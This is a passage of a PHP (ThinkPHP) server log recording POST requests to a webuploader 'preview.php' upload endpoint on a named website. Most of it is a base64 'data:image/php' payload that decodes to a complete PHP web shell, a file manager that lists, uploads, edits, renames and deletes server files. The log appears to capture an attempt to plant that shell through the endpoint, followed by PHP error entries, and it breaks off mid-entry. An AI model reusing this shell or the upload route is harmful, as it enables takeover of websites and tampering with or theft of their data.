'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:15+08:00 ] 116.213.36.234 POST 51tianwei.com/public/style/admin/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002435s] [吞吐率:410.68req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'style', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 